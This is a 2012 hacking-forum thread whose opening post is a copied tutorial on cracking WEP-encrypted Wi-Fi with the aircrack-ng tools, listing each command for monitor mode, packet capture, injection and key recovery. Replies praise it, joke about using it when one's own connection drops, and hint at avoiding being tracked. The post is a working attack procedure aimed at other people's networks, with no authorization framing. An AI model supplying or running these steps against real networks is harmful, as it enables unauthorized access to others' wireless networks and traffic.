Hacking WIFI WEP Encryption Via Linux

**Dan of NGU** · 08-14-2012 09:17 PM

I figured this was the closest category for this tutorial. So here you go!

I did not write this I just thought this would be a good one to share, my source will be at the bottom.

In this tutorial we will be using Kismet.

Just put in this command in a terminal to download it straight to your computer.

Code:

sudo apt-get install aircrack-ng airmon-ng airodump-ng aireplay-ng kismet

WEP Cracking

1. Put your Wireless Interface into Monitor Mode:

Code:

airmon-ng start wlan0

(In this example our interface is ‘wlan0′ – To find out your wireless interface type: iwconfig scan or airmon-ng)

2. Get Info from the Available Networks:

Code:

airodump-ng mon0

(mon0 is the monitored wlan0 interface)

3. Select one network that uses WEP encryption. In our Example the network is named SKIDHACKER. Now, get more info on the specific Network:

Code:

airodump-ng -c channel -w filetosave –bssid macaddrs mon0

(‘channel’ is the Channel Number) (‘filetosave’ is the file that airodump-ng will save its data) (‘macaddrs’ is the MAC Address of the Network) —> All this info is provided by the command used in Step 2.

4. To boost the proccedure type on a new terminal:

Code:

aireplay-ng -1 0 -a bssid mon0

(‘bssid’ is the MAC Address of the Network)

5. When this command is done, capture packets by typing:

Code:

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b bssid mon0

(‘bssid’ is the Networks MAC Address)

6. When the above command gets about 20.000 – 30.000 packets you are now able to crack the network by typing:

Code:

aircrack-ng filename.cap

(where instead of ‘filename’.cap you enter the file that aireplay-ng saved at your current directory – This file is named wep-x.cap –x is a number, starting from ’01′, then ’02′ etc….–) (Instead of the ‘wep-01.cap’ you can use the ‘wep*.cap’ as in the example to ‘Auto-Select’ the file)

7. When aircrack-ng finds the key it will display something like:

Code:

KEY FOUND! [ 12:34:56:78:90 ]

(In this example our key is ’1234567890′)

8. When Finished, make sure you put your wireless interface back to original Mode by typing:

Code:

airmon-ng stop wlan0

There is also tutorials for other types of WIFI encryption types.

~Moved to Misc Tutorials, nice job.

**xSoulEdge** · 08-14-2012 10:07 PM

Nicely done dude, gonna try this later in case my net goes off :lol:

You could also use WEP Buster which is baked into BackTrack 4.

Automated and works great

Very nice tut bro~~

lol very old to me ...why iv been doing this since backtrack 3

..but thank for the tut for others to know lol be careful they can track you too if you don't know how to make your self undetectable

and that's what you have to find out your self ....

**K3ViNPwNz-** · 08-17-2012 05:05 PM

I can confirm this works as I've done this before the tutorial xD.I actually still have backtrack5 installed.
